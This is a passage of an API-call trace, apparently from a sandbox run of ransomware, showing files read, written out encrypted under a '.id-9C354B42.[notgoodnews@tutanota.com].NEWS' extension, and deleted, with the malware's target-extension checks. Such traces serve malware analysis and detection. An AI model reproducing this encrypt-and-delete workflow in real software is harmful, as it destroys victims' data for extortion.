dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0072.513] GetLastError () returned 0x0 [0072.513] ReadFile (in: hFile=0x1e4, lpBuffer=0x36d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x36d0020*, lpNumberOfBytesRead=0x2d9fed4*=0x9ac, lpOverlapped=0x0) returned 1 [0072.515] WriteFile (in: hFile=0x1a0, lpBuffer=0x36d0020*, nNumberOfBytesToWrite=0x9b0, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36d0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x9b0, lpOverlapped=0x0) returned 1 [0072.517] ReadFile (in: hFile=0x1e4, lpBuffer=0x36d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x36d0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0072.517] WriteFile (in: hFile=0x1a0, lpBuffer=0x36d0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36d0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xea, lpOverlapped=0x0) returned 1 [0072.517] SetEndOfFile (hFile=0x1a0) returned 1 [0072.517] CloseHandle (hObject=0x1a0) returned 1 [0072.517] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0072.517] SetEndOfFile (hFile=0x1e4) returned 1 [0072.518] CloseHandle (hObject=0x1e4) returned 1 [0072.518] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0072.519] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\preview.gif")) returned 1 [0072.519] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72 [0072.519] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72 [0072.519] lstrlenW (lpString=".doc") returned 4 [0072.519] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0072.519] lstrlenW (lpString=".docx") returned 5 [0072.519] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0072.519] lstrlenW (lpString=".pdf") returned 4 [0072.519] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0072.519] lstrlenW (lpString=".xls") returned 4 [0072.519] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0072.519] lstrlenW (lpString=".xlsx") returned 5 [0072.519] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0072.519] lstrlenW (lpString=".ppt") returned 4 [0072.519] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0072.519] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72 [0072.519] lstrlenW (lpString=".zip") returned 4 [0072.519] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0072.519] lstrlenW (lpString=".rar") returned 4 [0072.519] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0072.519] lstrlenW (lpString=".bz2") returned 4 [0072.519] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0072.520] lstrlenW (lpString=".7z") returned 3 [0072.520] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0072.520] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72 [0072.520] lstrlenW (lpString=".dbf") returned 4 [0072.520] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0072.520] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72 [0072.520] lstrlenW (lpString=".1cd") returned 4 [0072.520] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0072.520] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72 [0072.520] lstrlenW (lpString=".jpg") returned 4 [0072.520] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0072.520] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72 [0072.520] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72 [0072.520] lstrlenW (lpString=".doc") returned 4 [0072.520] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0072.520] lstrlenW (lpString=".docx") returned 5 [0072.520] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0072.520] lstrlenW (lpString=".pdf") returned 4 [0072.520] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0072.520] lstrlenW (lpString=".xls") returned 4 [0072.520] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0072.520] lstrlenW (lpString=".xlsx") returned 5 [0072.520] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0072.520] lstrlenW (lpString=".ppt") returned 4 [0072.520] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0072.520] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72 [0072.520] lstrlenW (lpString=".zip") returned 4 [0072.520] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0072.520] lstrlenW (lpString=".rar") returned 4 [0072.520] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0072.520] lstrlenW (lpString=".bz2") returned 4 [0072.520] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0072.520] lstrlenW (lpString=".7z") returned 3 [0072.520] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0072.520] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72 [0072.521] lstrlenW (lpString=".dbf") returned 4 [0072.521] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0072.521] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72 [0072.521] lstrlenW (lpString=".1cd") returned 4 [0072.521] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0072.521] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72 [0072.521] lstrlenW (lpString=".jpg") returned 4 [0072.521] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0072.521] lstrcmpiW (lpString1=".PNG", lpString2=".NEWS") returned 1 [0072.521] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0072.521] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0072.521] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=19485) returned 1 [0072.521] CloseHandle (hObject=0x1e4) returned 1 [0072.522] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\thmbnail.png")) returned 0x20 [0072.522] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\thmbnail.png.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0072.522] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0072.522] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0072.522] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0072.522] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\thmbnail.png.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0072.522] GetLastError () returned 0x0 [0072.522] ReadFile (in: hFile=0x1e4, lpBuffer=0x36d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x36d0020*, lpNumberOfBytesRead=0x2d9fed4*=0x4c1d, lpOverlapped=0x0) returned 1 [0072.749] WriteFile (in: hFile=0x1a0, lpBuffer=0x36d0020*, nNumberOfBytesToWrite=0x4c20, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36d0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x4c20, lpOverlapped=0x0) returned 1 [0072.750] ReadFile (in: hFile=0x1e4, lpBuffer=0x36d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x36d0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0072.751] WriteFile (in: hFile=0x1a0, lpBuffer=0x36d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36d0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0072.751] SetEndOfFile (hFile=0x1a0) returned 1 [0072.751] CloseHandle (hObject=0x1a0) returned 1 [0072.751] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0072.751] SetEndOfFile (hFile=0x1e4) returned 1 [0072.752] CloseHandle (hObject=0x1e4) returned 1 [0072.753] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0072.753] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\thmbnail.png")) returned 1 [0072.753] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0072.753] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0072.753] lstrlenW (lpString=".doc") returned 4 [0072.753] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0072.753] lstrlenW (lpString=".docx") returned 5 [0072.753] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0072.753] lstrlenW (lpString=".pdf") returned 4 [0072.753] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0072.753] lstrlenW (lpString=".xls") returned 4 [0072.753] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0072.754] lstrlenW (lpString=".xlsx") returned 5 [0072.754] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0072.754] lstrlenW (lpString=".ppt") returned 4 [0072.754] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0072.754] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0072.754] lstrlenW (lpString=".zip") returned 4 [0072.754] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0072.754] lstrlenW (lpString=".rar") returned 4 [0072.754] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0072.754] lstrlenW (lpString=".bz2") returned 4 [0072.754] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0072.754] lstrlenW (lpString=".7z") returned 3 [0072.754] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0072.754] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0072.754] lstrlenW (lpString=".dbf") returned 4 [0072.754] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0072.754] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0072.754] lstrlenW (lpString=".1cd") returned 4 [0072.754] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0072.754] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0072.754] lstrlenW (lpString=".jpg") returned 4 [0072.754] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0072.754] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0072.754] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0072.755] lstrlenW (lpString=".doc") returned 4 [0072.755] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0072.755] lstrlenW (lpString=".docx") returned 5 [0072.755] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0072.755] lstrlenW (lpString=".pdf") returned 4 [0072.755] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0072.755] lstrlenW (lpString=".xls") returned 4 [0072.755] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0072.755] lstrlenW (lpString=".xlsx") returned 5 [0072.755] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0072.755] lstrlenW (lpString=".ppt") returned 4 [0072.755] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0072.755] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0072.755] lstrlenW (lpString=".zip") returned 4 [0072.755] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0072.755] lstrlenW (lpString=".rar") returned 4 [0072.755] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0072.755] lstrlenW (lpString=".bz2") returned 4 [0072.755] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0072.755] lstrlenW (lpString=".7z") returned 3 [0072.755] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0072.755] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0072.755] lstrlenW (lpString=".dbf") returned 4 [0072.755] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0072.755] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0072.755] lstrlenW (lpString=".1cd") returned 4 [0072.755] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0072.755] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0072.755] lstrlenW (lpString=".jpg") returned 4 [0072.755] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0072.756] lstrcmpiW (lpString1=".PNG", lpString2=".NEWS") returned 1 [0072.756] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0072.756] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0072.759] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=48115) returned 1 [0072.759] CloseHandle (hObject=0x1e4) returned 1 [0072.759] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\thmbnail.png")) returned 0x20 [0072.760] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\thmbnail.png.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0072.760] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0072.760] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0072.760] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0072.760] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\thmbnail.png.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0072.760] GetLastError () returned 0x0 [0072.760] ReadFile (in: hFile=0x1e4, lpBuffer=0x36d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x36d0020*, lpNumberOfBytesRead=0x2d9fed4*=0xbbf3, lpOverlapped=0x0) returned 1 [0072.763] WriteFile (in: hFile=0x1a0, lpBuffer=0x36d0020*, nNumberOfBytesToWrite=0xbc00, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36d0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xbc00, lpOverlapped=0x0) returned 1 [0072.766] ReadFile (in: hFile=0x1e4, lpBuffer=0x36d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x36d0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0072.766] WriteFile (in: hFile=0x1a0, lpBuffer=0x36d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36d0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0072.766] SetEndOfFile (hFile=0x1a0) returned 1 [0072.766] CloseHandle (hObject=0x1a0) returned 1 [0072.766] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0072.766] SetEndOfFile (hFile=0x1e4) returned 1 [0072.768] CloseHandle (hObject=0x1e4) returned 1 [0072.768] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0072.768] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\thmbnail.png")) returned 1 [0072.769] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0072.769] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0072.769] lstrlenW (lpString=".doc") returned 4 [0072.769] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0072.769] lstrlenW (lpString=".docx") returned 5 [0072.769] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0072.769] lstrlenW (lpString=".pdf") returned 4 [0072.769] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0072.769] lstrlenW (lpString=".xls") returned 4 [0072.769] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0072.769] lstrlenW (lpString=".xlsx") returned 5 [0072.769] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0072.769] lstrlenW (lpString=".ppt") returned 4 [0072.769] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0072.769] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0072.769] lstrlenW (lpString=".zip") returned 4 [0072.769] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0072.769] lstrlenW (lpString=".rar") returned 4 [0072.769] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0072.769] lstrlenW (lpString=".bz2") returned 4 [0072.769] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0072.769] lstrlenW (lpString=".7z") returned 3 [0072.770] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0072.770] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0072.770] lstrlenW (lpString=".dbf") returned 4 [0072.770] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0072.770] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0072.770] lstrlenW (lpString=".1cd") returned 4 [0072.770] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0072.770] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0072.770] lstrlenW (lpString=".jpg") returned 4 [0072.770] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0072.770] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0072.770] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0072.770] lstrlenW (lpString=".doc") returned 4 [0072.770] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0072.770] lstrlenW (lpString=".docx") returned 5 [0072.770] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0072.770] lstrlenW (lpString=".pdf") returned 4 [0072.770] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0072.770] lstrlenW (lpString=".xls") returned 4 [0072.771] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0072.771] lstrlenW (lpString=".xlsx") returned 5 [0072.771] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0072.771] lstrlenW (lpString=".ppt") returned 4 [0072.771] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0072.771] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0072.771] lstrlenW (lpString=".zip") returned 4 [0072.771] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0072.771] lstrlenW (lpString=".rar") returned 4 [0072.771] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0072.771] lstrlenW (lpString=".bz2") returned 4 [0072.771] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0072.771] lstrlenW (lpString=".7z") returned 3 [0072.771] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0072.771] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0072.771] lstrlenW (lpString=".dbf") returned 4 [0072.771] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0072.771] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0072.771] lstrlenW (lpString=".1cd") returned 4 [0072.771] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0072.771] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74 [0072.771] lstrlenW (lpString=".jpg") returned 4 [0072.771] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0072.772] lstrcmpiW (lpString1=".GIF", lpString2=".NEWS") returned -1 [0072.772] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0072.772] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0072.772] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=1364) returned 1 [0072.772] CloseHandle (hObject=0x1e4) returned 1 [0072.772] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\preview.gif")) returned 0x20 [0072.773] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\preview.gif.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0072.773] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0072.773] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0072.773] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0072.773] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft 